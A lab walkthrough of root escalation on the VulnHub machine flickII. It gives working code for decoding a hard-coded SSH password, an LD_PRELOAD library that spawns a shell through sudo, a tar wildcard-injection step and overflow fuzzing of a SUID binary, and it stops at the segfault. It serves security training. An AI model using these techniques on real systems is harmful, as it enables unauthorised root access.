vulnhub: flickII – to the root – walkthrough part2

This Post continues Part 1 of my flickII walkthrough!

In the last post I showed how I was able to get a reverse shell using the flick-check-dist.apk and its API.
In this post I will conclude the walkthrough by demonstrating how I became root.

How to become robin

As I got the reverse shell in context of nginx, I first used standard privesc techniques to search for accessible files, go through the websites sourcecode and look for other obvious issues that could help me elevate privileges.

After checking the obvious stuff / low hanging fruits I retruned to the APK Sourcecode because of a Feature of the APK I noticed earlier:

ssh-failed

 

Use Secure Access – However enabling the function just displays an error and no HTTP request can be intercepted using burp.

So back to the source code it is!

After digging around a bit i found the responsible function:

ssh-functionSo SSHCommand()! The APK tries to speak SSH to the Server. However the initial Portscan showed that SSH was not listening so thats probably why Secure Access Failed!

A quick google search also revealed that jsch is a complete Java implementation of SSH v2:

jcraft-jsch

 

So lets follow the SSHCommand() function:

sshcommand

 

So it indeed is trying to establish an SSH Session and even better: with hard coded credentials!

The username is easy: “robin”

The password was a bit trickier! The SSH Password of the User “robin” is the result of the function call: CommandActivity.validate(text)

text in turn contains the b64 decode of the integrity_check string:

integrity-check

 

Now lets take a look at the validate function:

validate

 

So the b64 decode of the integrity_check variable is xored with the string inside the key string!

After doing a quick stackoverflow programming lesson I had a simple python xor script thrown together:

 #!/usr/bin/python

import base64

b64string = "YFhaRBMNFRQDFxJEFlFDExIDVUMGEhcLAUNFBVdWQGFeXBIVWEsZWQ=="

strinput = base64.b64decode(b64string)
key = "This is a super secret message!"
output = ""

def xor_strings(s,t):
 """xor two strings together"""
 return "".join(chr(ord(a)^ord(b)) for a,b in zip(s,t))

print xor_strings(base64.b64decode(b64string), key)

And the Output:

 root@kali:~/vulnhub/flickII# ./xor1.py 
40373df4b7a1f413af61cf7fd06d03a

So lets try to escalate to robin in the reverse shell:

sufail

Fail! :-(

But this has to work! One thing that bothered me right away was the length of the strings!

So 3 extra lines of python showed me the length of each string:

print len(xor_strings(key, base64.b64decode(b64string)))

print len(key)

print len(base64.b64decode(b64string))

Lets take a look:

root@kali:~/vulnhub/flickII# ./xor2.py 
31
31
40

So the xor only goes as far as the shorter string!

Lets take a look again how the APK handles this:

 for (int i = 0; i < input.length(); i++) {
      output.append((char) (input.charAt(i) ^ key[i % key.length]));

So the APK is doing some kind of modulo magic on the position of the string key!  I was to lazy to figure that out in my head so I just programmed the same in python:

#!/usr/bin/python

import base64

b64string = "YFhaRBMNFRQDFxJEFlFDExIDVUMGEhcLAUNFBVdWQGFeXBIVWEsZWQ=="

#print repr(base64.b64decode(b64string))
strinput = base64.b64decode(b64string)
key = "This is a super secret message!"
output = ""

def xor_strings(s,t):
 """xor two strings together"""
 return "".join(chr(ord(a)^ord(b)) for a,b in zip(s,t))


for i in range (0,len(strinput)):
 output += xor_strings(strinput[i],key[i % len(key)])

print output
print len(output)

And the Result:

root@kali:~/vulnhub/flickII# ./xor_strings.py 
40373df4b7a1f413af61cf7fd06d03a565a51898
40

Lets test this as a password for robin:

robin

LD_PRELOAD for the win \o/

Good practice with every new user on a linux system is to check their sudo rights:

sudominuslnotworkingOh noes! no real titty!

This can be solved by spawning a new bash via python using:

python -c 'import pty; pty.spawn("/bin/bash")'

So lets try again:

sudo-l

There we found the dice before we knew we needed it!

But I also found /home/robin/debug.gpg

cat debug.gpg
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dude,

I know you are trying to debug this stupid dice thing, so I figured the below
will be useful?

[...]
__libc_start_main(0x555555554878, 1, 0x7fffffffe508, 0x5555555548e0 <unfinished ...>
getenv("LD_PRELOAD") = nil
rand() = 1804289383
__printf_chk(1, 0x555555554978, 0x6b8b4567, 0x7ffff7dd40d4) = 22
__cxa_finalize(0x555555754e00, 0, 0, 1) = 0x7ffff7dd6290
+++ exited (status 0) +++Dice said: 1804289383
[...]

Lemme know!

- --
Sean
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVsSXBAAoJEF+jiAi1AwtOqd8P/3L19JE2BFA/xHvUyb/rWdIc
fKVZUCHb7oHFrwXavfagY4gm2ssLwOLNX0a1/DGqEwS8MjaQmW5s31iEulqUQjX9
+8NGJpaKOL2rp+cVD57VCsQSstkEJtlwK5WgrsInUz8FH06N0I/d3b3GqckFBzND
jpBSBib3CyL1LOoEvc0ThKMUT/AdvIwC+t4fldx8o+YOLEGoZuCzWOM6KNysmTCa
wqAsCaNMpavn+2hPy2liozZfRyBo4mmLVKY3tcnHC+ntlPaDi7ENG3Xc5RSHYyA7
BFcIPNPTZsh9QEdCF0A/s3A349SZ4rimkQkqOOeoHfrMTKPaCmX/N3jJ9q05+Ccg
56xR9WsYTgwwb6qZ3PEzFQ5pXcKwaLAmCLxFxW/X76z7rmVI0GsqnkXAd16R/VDy
nLlUIMq0HrldSZ15VVikR3CMm3SRkrx6PlzCQ2cCTtRXGfiOPqN1lDmReYjKbCYo
DkvQi0zhD7Ow6m5w8NPAUXplhDEGK2mTrL9qWvZfin5JKLW3ZWSBqPw6jVitwAJm
Ej9wlMcb32lzmzrC45tH/U+Kq/M7cTYCIU3xYcL1URAK8IWn2fMZgmmepAR+QT0S
MgAHhbJmRhzA98KxCtgR0RXrKPeIwSfxOJi7Yx16GSLKYPhCQn8YRzxpmPp0h5Yd
7Zo/oh0FA+3WWsmYfa7I
=jvfO
-----END PGP SIGNATURE-----

Good thing I have used LD_PRELOAD in the past and recognized it instantly!

Lets take a closer look at the “sudo -l” output again:

Matching Defaults entries for robin on this host:
requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS
DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", env_keep+=LD_PRELOAD,
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User robin may run the following commands on this host:
(bryan) /usr/local/bin/dice

So I can pass LD_PRELOAD as an environment variable and run the dice as user bryan.

That sounds like a classic LD_PRELOAD Privesc technique!

If youre not familiar with the LD_PRELOAD technique google it quickly or read up on this well written post of it.

Basically the idea is to inject a library (.so) that will execute my code as the user who is running the binary (bryan thanks to sudo).

So lets start with the SO file:

#include <stdlib.h>

// spwan a bash in context of bryan instead of generating random number

int rand(){
 system("/bin/bash"); 
 return 0;
}

 

This should drop me into a bash instead of giving me a fake random number!

Lets download, and compile this as an .so file:

curl http://192.168.0.56/flick2.c -o flick2.c

gcc -shared -fPIC flick2.c -o /tmp/flick2.so

I put the output in /tmp because it needs to be at a place that the user bryan can read!

Now lets try to run it:

ldpreloadiddntwork

So this did not work…

But I am sure it must work somehow… At this point I got stuck and took a peek at rasta_mouse’s walkthrough of flickII ;-)

With that I got it working quickly and afterwards he even was so kind and explain to me as why it did not work.

Here we go:

Remember the /home/robin/debug.gpg:

head debug.gpg
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dude,

I know you are trying to debug this stupid dice thing, so I figured the below
will be useful?

[...]
__libc_start_main(0x555555554878, 1, 0x7fffffffe508, 0x5555555548e0 <unfinished ...>
getenv("LD_PRELOAD") = nil

The last line prevents LD_PRELOAD to be passed to the binary!

The solution is to also overwrite the getenv() function! :-D

#include <stdlib.h>

// overwrite getenv() function so that it cant prevent usage of LD_PRELOAD

char *getenv(const char *name){
 return 0;
}
// spwan a bash in context of bryan instead of generating random number

int rand(){
 system("/bin/bash"); 
 return 0;
}

So lets try this again:

hustonwegotbryan

Huston we got bryan \o/

Life of Bryan

With an privesc checker script I ran in the beginning I found 2 Interesting SUID files:

[+] SUID/SGID Files and Directories
 drwxr-sr-x 3 root systemd-journal 60 Dec 27 13:04 /run/log/journal
 drwxr-sr-x 2 root systemd-journal 60 Dec 27 13:04 /run/log/journal/9b5855bbd2204da88ff236bfdace60da
 -r-xr-sr-x. 1 root tty 15344 Jun 10 2014 /usr/bin/wall
 -rwxr-sr-x. 1 root tty 19536 May 12 2015 /usr/bin/write
 -rwsr-xr-x. 1 root root 64200 Mar 6 2015 /usr/bin/chage
 -rwsr-xr-x. 1 root root 78168 Mar 6 2015 /usr/bin/gpasswd
 -rwsr-xr-x. 1 root root 41752 Mar 6 2015 /usr/bin/newgrp
 -rwsr-xr-x. 1 root root 44232 May 12 2015 /usr/bin/mount
 -rws--x--x. 1 root root 23960 May 12 2015 /usr/bin/chfn
 -rws--x--x. 1 root root 23856 May 12 2015 /usr/bin/chsh
 -rwsr-xr-x. 1 root root 32064 May 12 2015 /usr/bin/su
 -rwsr-xr-x. 1 root root 31960 May 12 2015 /usr/bin/umount
 -rwsr-xr-x. 1 root root 27656 Jun 9 2014 /usr/bin/pkexec
 -rwsr-xr-x. 1 root root 57536 Jul 30 2014 /usr/bin/crontab
 ---s--x--x. 1 root root 130720 Mar 6 2015 /usr/bin/sudo
 ---x--s--x. 1 root nobody 293832 May 12 2015 /usr/bin/ssh-agent
 -rwsr-xr-x. 1 root root 27832 Jun 10 2014 /usr/bin/passwd
 -rwsr-xr-x. 1 root root 11208 Mar 6 2015 /usr/sbin/pam_timestamp_check
 -rwsr-xr-x. 1 root root 36264 Mar 6 2015 /usr/sbin/unix_chkpwd
 -rwxr-sr-x. 1 root root 11208 Mar 6 2015 /usr/sbin/netreport
 -rwsr-xr-x. 1 root root 11272 Mar 6 2015 /usr/sbin/usernetctl
 -rwxr-sr-x. 1 root postdrop 218552 Jun 10 2014 /usr/sbin/postdrop
 -rwxr-sr-x. 1 root postdrop 259992 Jun 10 2014 /usr/sbin/postqueue
 -rwsr-xr-x. 1 root root 15416 Jun 9 2014 /usr/lib/polkit-1/polkit-agent-helper-1
 -rwsr-x---. 1 root dbus 318384 Mar 6 2015 /usr/lib64/dbus-1/dbus-daemon-launch-helper
 -rwx--s--x. 1 root utmp 11192 Jun 10 2014 /usr/libexec/utempter/utempter
 ---x--s--x. 1 root ssh_keys 457312 May 12 2015 /usr/libexec/openssh/ssh-keysign
 -rwsr-x---. 1 sean bryan 8830 Jul 2 2015 /usr/local/bin/backup
 -rwsr-x--- 1 root sean 866169 Aug 15 2015 /usr/local/bin/restore 

/usr/local/bin/backup belongs to sean:bryan and is suid!

lets run file on it:

[bryan@fII tmp]$ file /usr/local/bin/backup

/usr/local/bin/backup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0xc3cbb4476467a324fd93e428225dbedb5df5e2d3, not stripped

Dang a binary and not an easily readable script!

So lets run it through strace:

[bryan@fII tmp]$ strace /usr/local/bin/backup

execve("/usr/local/bin/backup", ["/usr/local/bin/backup"], [/* 21 vars */]) = 0
brk(0) = 0x555555756000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff9000
open("/tmp/flick2.so", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\6\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0775, st_size=8036, ...}) = 0
mmap(NULL, 2101304, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7bd9000
mprotect(0x7ffff7bda000, 2093056, PROT_NONE) = 0
mmap(0x7ffff7dd9000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0) = 0x7ffff7dd9000
close(3) = 0
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=22781, ...}) = 0
mmap(NULL, 22781, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff7ff3000
close(3) = 0
open("/lib64/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\34\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=2107760, ...}) = 0
mmap(NULL, 3932736, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7818000
mprotect(0x7ffff79ce000, 2097152, PROT_NONE) = 0
mmap(0x7ffff7bce000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1b6000) = 0x7ffff7bce000
mmap(0x7ffff7bd4000, 16960, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7bd4000
close(3) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff2000
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff0000
arch_prctl(ARCH_SET_FS, 0x7ffff7ff0740) = 0
mprotect(0x7ffff7bce000, 16384, PROT_READ) = 0
mprotect(0x7ffff7dd9000, 4096, PROT_READ) = 0
mprotect(0x555555754000, 4096, PROT_READ) = 0
mprotect(0x7ffff7ffc000, 4096, PROT_READ) = 0
munmap(0x7ffff7ff3000, 22781) = 0
setresuid(1002, 1002, 1002) = -1 EPERM (Operation not permitted)
setresgid(1002, 1002, 1002) = -1 EPERM (Operation not permitted)
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 4), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff8000
write(1, " * Securing environment\n", 24 * Securing environment
) = 24
write(1, " * Performing database backup..."..., 33 * Performing database backup...
) = 33
rt_sigaction(SIGINT, {SIG_IGN, [], SA_RESTORER, 0x7ffff784d650}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], SA_RESTORER, 0x7ffff784d650}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0x7fffffffe9d0) = 3878
wait4(3878, app/
app/.gitignore
database.sqlite
framework/
framework/cache/
framework/cache/.gitignore
tar (child): /home/sean/backup_20161227.tar.gz: Cannot open: Permission denied
tar (child): Error is not recoverable: exiting now

Aha! tar! I can smell where this is going!

To get the next part I had to peek at other writeups again ;-)

But eventually I got this right:

 sh-4.2$ strace -s 999 -v -f /usr/local/bin/backup 2>&1 | grep execve
strace -s 999 -v -f /usr/local/bin/backup 2>&1 | grep execve
execve("/usr/local/bin/backup", ["/usr/local/bin/backup"], ["TAR_SUBCOMMAND=-c", "TAR_FORMAT=gnu", "HOSTNAME=fII.local", "SHELL=/bin/bash", "TERM=unknown", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "USER=bryan", "TAR_BLOCKING_FACTOR=20", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "MAIL=/var/spool/mail/robin", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "TAR_CHECKPOINT=1", "HOME=/home/bryan", "SUDO_COMMAND=/usr/local/bin/dice", "SHLVL=8", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/strace"]) = 0
[pid 3913] execve("/bin/sh", ["sh", "-c", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin; cd /usr/share/nginx/serverchecker/storage; /bin/tar -zvcf /home/sean/backup_$(/bin/date +\"%Y%m%d\").tar.gz *;"], ["TAR_SUBCOMMAND=-c", "TAR_FORMAT=gnu", "HOSTNAME=fII.local", "SHELL=/bin/bash", "TERM=unknown", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "USER=bryan", "TAR_BLOCKING_FACTOR=20", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "MAIL=/var/spool/mail/robin", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "TAR_CHECKPOINT=1", "HOME=/home/bryan", "SUDO_COMMAND=/usr/local/bin/dice", "SHLVL=8", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/strace"]) = 0
[pid 3915] execve("/bin/date", ["/bin/date", "+%Y%m%d"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "HOSTNAME=fII.local", "TERM=unknown", "SHELL=/bin/bash", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "OLDPWD=/usr/share/nginx/serverchecker/storage", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "MAIL=/var/spool/mail/robin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "SHLVL=9", "SUDO_COMMAND=/usr/local/bin/dice", "HOME=/home/bryan", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/date"]) = 0
[pid 3916] execve("/bin/tar", ["/bin/tar", "-zvcf", "/home/sean/backup_20161227.tar.gz", "app", "--checkpoint=1", "--checkpoint-action=exec=sh", "database.sqlite", "framework", "logs"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "HOSTNAME=fII.local", "TERM=unknown", "SHELL=/bin/bash", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "OLDPWD=/usr/share/nginx/serverchecker/storage", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "MAIL=/var/spool/mail/robin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "SHLVL=9", "SUDO_COMMAND=/usr/local/bin/dice", "HOME=/home/bryan", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/tar"]) = 0
[pid 3918] execve("/bin/sh", ["/bin/sh", "-c", "sh"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "HOSTNAME=fII.local", "TERM=unknown", "SHELL=/bin/bash", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "OLDPWD=/usr/share/nginx/serverchecker/storage", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "MAIL=/var/spool/mail/robin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "SHLVL=9", "SUDO_COMMAND=/usr/local/bin/dice", "HOME=/home/bryan", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/tar"]) = 0
[pid 3918] execve("/bin/sh", ["sh"], ["TAR_SUBCOMMAND=-c", "TAR_FORMAT=gnu", "HOSTNAME=fII.local", "SHELL=/bin/bash", "TERM=unknown", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "USER=bryan", "TAR_BLOCKING_FACTOR=20", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "MAIL=/var/spool/mail/robin", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "_=/bin/sh", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "TAR_CHECKPOINT=1", "HOME=/home/bryan", "SUDO_COMMAND=/usr/local/bin/dice", "SHLVL=10", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000"]) = 0
[pid 3919] execve("/usr/local/bin/gzip", ["gzip"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "HOSTNAME=fII.local", "TERM=unknown", "SHELL=/bin/bash", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "OLDPWD=/usr/share/nginx/serverchecker/storage", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "MAIL=/var/spool/mail/robin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "SHLVL=9", "SUDO_COMMAND=/usr/local/bin/dice", "HOME=/home/bryan", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/tar"]) = -1 ENOENT (No such file or directory)
[pid 3919] execve("/bin/gzip", ["gzip"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "HOSTNAME=fII.local", "TERM=unknown", "SHELL=/bin/bash", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "OLDPWD=/usr/share/nginx/serverchecker/storage", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "MAIL=/var/spool/mail/robin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "SHLVL=9", "SUDO_COMMAND=/usr/local/bin/dice", "HOME=/home/bryan", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/tar"]) = 0

Let me explain the strace options:

strace -s 999 -v -f /usr/local/bin/backup 2>&1 | grep execve

-s strsize -- limit length of print strings to STRSIZE chars (default 32)

-> the output of the arguemtents would be cut off without this!

-v -- verbose mode: print unabbreviated argv, stat, termios, etc. args

-> prints all args

-f -- follow forks, -ff -- with output into separate files

-> follows all forking processes which is needed in this case

Now lets look at this part again:

[pid 3913] execve("/bin/sh", ["sh", "-c", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin; cd /usr/share/nginx/serverchecker/storage; /bin/tar -zvcf /home/sean/backup_$(/bin/date +\"%Y%m%d\").tar.gz *;"],

So its cd’ing into:

/usr/share/nginx/serverchecker/storage

and then doig a “tar … *

Sounds like someone is going wild with wildcards!

seanitisRead the linked paper above if you don’t understand what just happened!

Been there sean that

Whats the counterpart to /usr/local/bin/backup?
/usr/local/bin/restore of course!

Lets take a look at that folder again:

[sean@fII bin]$ ls -lisah
ls -lisah
total 2.0M
 33554623 0 drwxr-xr-x. 2 root root 59 Aug 17 2015 .
 188 4.0K drwxr-xr-x. 12 root root 4.0K Jun 22 2015 ..
 33554598 12K -rwsr-x---. 1 sean bryan 8.7K Jul 2 2015 backup
 68148501 1.1M -rwxr-xr-x. 1 root root 1.1M Jun 22 2015 composer
 34598952 12K -rwx--x--x. 1 root root 8.7K Jul 2 2015 dice
101716415 848K -rwsr-x--- 1 root sean 846K Aug 15 2015 restore

A root suid binary!

Lets analyze it a bit closer: 1. Normal behavior:

[sean@fII bin]$ restore

Restore tool v0.1
Enter the path to the backup.tar.gz: /tmp/
/tmp/
Path is: /tmp/
Enter the output directory: /tmp
/tmp
Output directory is: /tmp
This is a beta, run the following command for now: 
/bin/sh -c "/usr/bin/tar xf /tmp/backup.tar.gz -C /tmp database.sqlite"
You are currently running this tool as: 
uid=0(root) gid=0(root) groups=0(root),1001(bryan),1002(sean)

A closer look with file:

[sean@fII bin]$ file restore

restore: setuid ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=0x0768c7f84a21b18fa6e6779730ef0fa5d7161706, not stripped

Lets try to overflow the Manual input:

[sean@fII bin]$ restore
restore
Restore tool v0.1
Enter the path to the backup.tar.gz: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa is invalid. Directory names need to end with a /
[sean@fII bin]$ restore
restore
Restore tool v0.1
Enter the path to the backup.tar.gz: /tmp/
/tmp/
Path is: /tmp/
Enter the output directory: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
Segmentation fault

Segfault! There is probably a Buffer Overflow here!

Until now I only have done 32bit Bufferoverflows but I can at least verify that I can overwrite the Instruction Point!

